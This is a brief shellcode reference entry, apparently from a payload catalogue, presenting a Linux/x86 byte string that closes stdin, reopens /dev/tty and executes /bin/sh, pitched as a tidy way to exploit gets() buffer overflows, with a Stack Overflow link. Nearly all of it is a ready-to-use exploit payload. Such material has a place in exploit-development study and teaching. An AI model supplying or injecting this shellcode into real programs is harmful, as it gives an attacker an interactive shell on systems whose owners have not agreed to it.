Shellcodes

Linux/x86

Local shellcode for stdin re-open and /bin/sh exec. It closes stdin descriptor and re-opens /dev/tty, then does an execve() of /bin/sh .Useful to exploit some gets() buffer overflows in an elegant way

"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Learn more:

• https://stackoverflow.com/questions/50305475/exploit-development-gets-and-shellcode